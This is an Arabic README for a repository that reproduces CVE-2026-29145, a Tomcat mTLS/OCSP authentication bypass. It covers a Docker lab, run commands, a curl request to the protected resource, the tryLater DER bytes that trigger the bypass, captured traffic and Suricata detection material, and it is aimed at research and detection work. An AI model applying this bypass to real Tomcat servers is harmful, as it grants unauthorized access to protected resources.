
بيئة إثبات مفهوم قابلة للتكرار لثغرة CVE-2026-29145 في Apache Tomcat (تجاوز فشل ناعم لـ CLIENT_CERT + OCSP)، بما في ذلك نصوص الاستغلال، ومستجيب OCSP وهمي، وقواعد كشف Suricata.
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass بيئة إعادة إنتاج كاملة، حزم حركة المرور المستغلة، ومواد كتابة قواعد كشف Suricata.
مخصص فقط لأبحاث الأمن المصرح بها وتطوير قواعد الكشف. لا تستخدم على أنظمة غير مصرح بها.
| العنصر | الوصف |
|---|---|
| CVE | CVE-2026-29145 |
| المكون | Apache Tomcat / Tomcat Native |
| النوع | تجاوز المصادقة (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / معتدل (Apache) |
| الإصدارات المتأثرة | Tomcat 10.1.0-M7–10.1.52، 9.0.83–9.0.115، 11.0.0-M1–11.0.18؛ Native 2.0.0–2.0.13 وغيره |
| الإصدارات المُصلحة | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+؛ Native 2.0.14+ |
عند تمكين CLIENT_CERT و OCSP في Tomcat، مع تكوين ocspSoftFail=false (فشل قاسٍ)، فإن بعض مسارات فشل OCSP (خاصة حالة الاستجابة tryLater) لا تزال لا تُعالج كفشل قاسٍ، مما يؤدي إلى قبول شهادة عميل كان يجب رفضها، وبالتالي يمكن الوصول إلى الموارد المحمية.
الإصلاح الرسمي (مثال: Tomcat commit fe26667c) جعل معالجة TRY_LATER في مسار FFM متوافقة مع Tomcat Native.
على Tomcat 10.1.52 + Tomcat Native 2.0.12:
النقطة الأساسية: يجب إرجاع tryLater وفقًا لـ RFC 6960، فقط HTTP 500 لا يكفي لتحفيز التجاوز في هذه البيئة.
CVE-2026-29145-Everything/
├── README.md # هذا الملف
├── REPRODUCTION.md # ملاحظات إعادة الإنتاج التفصيلية وتلميحات Suricata
├── docker-compose.yml # Tomcat ضعيف + Mock OCSP
├── poc_exploit.py # نص الاستغلال/الكشف (رمز الخروج 10 = ضعيف)
├── simple_proxy_fail.py # Mock OCSP (فشل / نجاح / try_later / internal_error)
├── setup_certs.sh # إنشاء شهادات CA / الخادم / العميل (مع OCSP AIA)
├── capture_exploit.sh # الاستغلال بنقرة واحدة والتقاط الحزم
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # تعيين مستخدمي CLIENT-CERT
│ ├── ROOT/ # الحد الأدنى من التصحيح لصورة ROOT الافتراضية
│ └── protected/ # الموارد المحمية + web.xml (CLIENT-CERT)
└── pcaps/ # ★ حركة مرور مستغلة ملتقطة (لكتابة القواعد)
├── CVE-2026-29145-mtls-and-ocsp.pcap # الحزمة الرئيسية: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # OCSP نص عادي فقط
├── CVE-2026-29145-mtls-only.pcap # TLS على المنفذ 8443 فقط
└── exploit_response.html # لقطة استجابة الاستغلال الناجحة
دليل الشهادات الخاصة certs/ تم تجاهله افتراضيًا بواسطة .gitignore، ويجب إنشاؤه محليًا.
pip install -r requirements.txt أو python3-requests للنظام)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. إنشاء الشهادات (AIA يشير إلى اسم خدمة OCSP داخل Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. تشغيل البيئة (الوضع الافتراضي OCSP_MODE=try_later)
docker compose up -d
# انتظر حتى يصبح الحالة healthy
docker compose ps
# 3. تشغيل PoC
python3 poc_exploit.py
# الإخراج المتوقع:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# رمز الخروج 10 = ضعيف؛ 0 = غير قابل للاستغلال/تم التصحيح
التحقق اليدوي:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# الإخراج إلى pcaps/CVE-2026-29145-*.pcap
المستودع يتضمن بالفعل pcap لاستغلال ناجح واحد، يمكن استخدامه مباشرة للتحقق من قواعد Suricata دون الحاجة لإعادة التقاط الحزم.
# tryLater — مسار تحفيز CVE (افتراضي)
OCSP_MODE=try_later docker compose up -d --force-recreate
# فشل HTTP 500 (في هذه البيئة، الفشل القاسي سيرفض)
OCSP_MODE=fail docker compose up -d --force-recreate
# محاكاة نجاح OCSP (الجسم ليس DER حقيقي، فقط لاختبار الاتصال)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
هام: المنفذ 8443 هو mTLS مشفر بـ TLS 1.3، فتحه مباشرة بـ Wireshark سيبدو مثل النص المشوش.
المنفذ 8888 لـ OCSP هو HTTP نص عادي، كتابة القواعد يجب أن تركز على OCSP أولاً.
انظر الشرح الكامل في pcaps/README.md.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
انظر التفاصيل في REPRODUCTION.md و pcaps/README.md.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
CLIENT-CERT على مستوى التطبيق موجود في tomcat/protected/WEB-INF/web.xml.
ocspSoftFail وإمكانية الوصول إلى OCSP؛ إجراء اختبارات ارتداد لسلوك عدم الوصول/tryLater./cleanup.sh
# أو
docker compose down -v
CVE-2026-29145-Tester (هذا المستودع عزز وجسّد التكوين القابل لإعادة الإنتاج ومسار tryLater)هذا المشروع مخصص فقط للأغراض التعليمية، واختبار الاختراق المصرح به، وتطوير قواعد كشف الاقتحام. يجب على المستخدم ضمان حصوله على ترخيص قانوني للنظام المستهدف. المؤلف غير مسؤول عن أي استخدام مسيء.
| سلوك OCSP | ocspSoftFail | النتيجة |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — تم التجاوز بنجاح |
| HTTP 500 | false | رفض TLS (تفعيل الفشل القاسي) |
| انتهاء مهلة OCSP | false | رفض TLS |
| أي فشل | true | 200 (فشل ناعم متوقع) |
| الملف | الوصف |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | جلسة كاملة قابلة لفك التشفير |
pcaps/CVE-2026-29145-ocsp-only.pcap | OCSP نص عادي (بدون مفتاح) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | نص OCSP HTTP سهل القراءة |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | نص HTTP الأعمال بعد فك التشفير |
rules/cve-2026-29145.rules | مثال لقواعد Suricata |